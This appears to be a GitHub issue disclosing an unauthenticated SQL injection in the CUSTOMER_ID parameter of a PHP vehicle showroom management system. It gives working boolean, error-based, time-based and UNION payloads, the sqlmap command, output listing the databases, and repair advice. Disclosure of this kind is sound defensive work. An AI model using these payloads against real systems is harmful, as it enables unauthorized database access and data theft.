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code-projects Vehicle Showroom Management System Project V1.0 /util/PaymentStatusFunction.php SQL injection #2

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NAME OF AFFECTED PRODUCT(S)

- Vehicle Showroom Management System

Vendor Homepage

- <https://code-projects.org/vehicle-showroom-management-system-in-php-css-javascript-and-mysql-free-download/>

AFFECTED AND/OR FIXED VERSION(S)

submitter

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Vulnerable File

- /util/PaymentStatusFunction.php

VERSION(S)

- V1.0

Software Link

- <https://code-projects.org/vehicle-showroom-management-system-in-php-css-javascript-and-mysql-free-download/>

PROBLEM TYPE

Vulnerability Type

- SQL injection

Root Cause

- A SQL injection vulnerability was found in the '/util/PaymentStatusFunction.php' file of the 'Vehicle Showroom Management System' project. The reason for this issue is that attackers inject malicious code from the parameter 'CUSTOMER_ID' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.

Impact

- Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.

DESCRIPTION

- During the security review of "Vehicle Showroom Management System",I discovered a critical SQL injection vulnerability in the "/util/PaymentStatusFunction.php" file. This vulnerability stems from insufficient user input validation of the 'CUSTOMER_ID' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity.

No login or authorization is required to exploit this vulnerability

Vulnerability details and POC

Vulnerability Ionameion:

- 'CUSTOMER_ID' parameter

Payload:

```
---
Parameter: CUSTOMER_ID (POST)
  Type: boolean-based blind
  Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
  Payload: CUSTOMER_ID=-2982' OR 6911=6911#&Search=Search

  Type: error-based
  Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
  Payload: CUSTOMER_ID=111' OR (SELECT 6772 FROM(SELECT COUNT(*),CONCAT(0x71786b6a71,(SELECT (ELT(6772=6772,1))),0x716a626a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- txmH&Search=Search

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: CUSTOMER_ID=111' AND (SELECT 2039 FROM (SELECT(SLEEP(5)))bytr)-- cTkv&Search=Search

  Type: UNION query
  Title: MySQL UNION query (NULL) - 14 columns
  Payload: CUSTOMER_ID=111' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x71786b6a71,0x41424563716661744b70596943687a6458504e78707179)
---
```

The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

```
python sqlmap.py -r 1.txt --batch --dbs
```

```
C:\Windows\System32\cmd.exe x 设置
sqlmap identified the following injection point(s) with a total of 107 HTTP(s) requests:
---
Parameter: CUSTOMER_ID (POST)
  Type: boolean-based blind
  Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
  Payload: CUSTOMER_ID=-2982' OR 6911=6911#&Search=Search

  Type: error-based
  Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
  Payload: CUSTOMER_ID=111' OR (SELECT 6772 FROM(SELECT COUNT(*),CONCAT(0x71786b6a71,(SELECT (ELT(6772=6772,1))),0x716a626a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- txmH&Search=Search

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---
[20:02:38] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.39, PHP 7.3.4
back-end DBMS: MySQL >= 5.0
[20:02:41] [INFO] fetching database names
available databases [2]:
[*] information_schema
[*] vsms
```

Suggested repair

- 1. Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.
- 2. Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format.
- 3. Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as 'root 'or' admin ') for daily operations.
- 4. Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

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Metadata

Assignees

No one assigned

Labels

No labels

Projects

No projects



Milestone

No milestone

Relationships

None yet

Development

 Code with agent mode 

No branches or pull requests

Participants

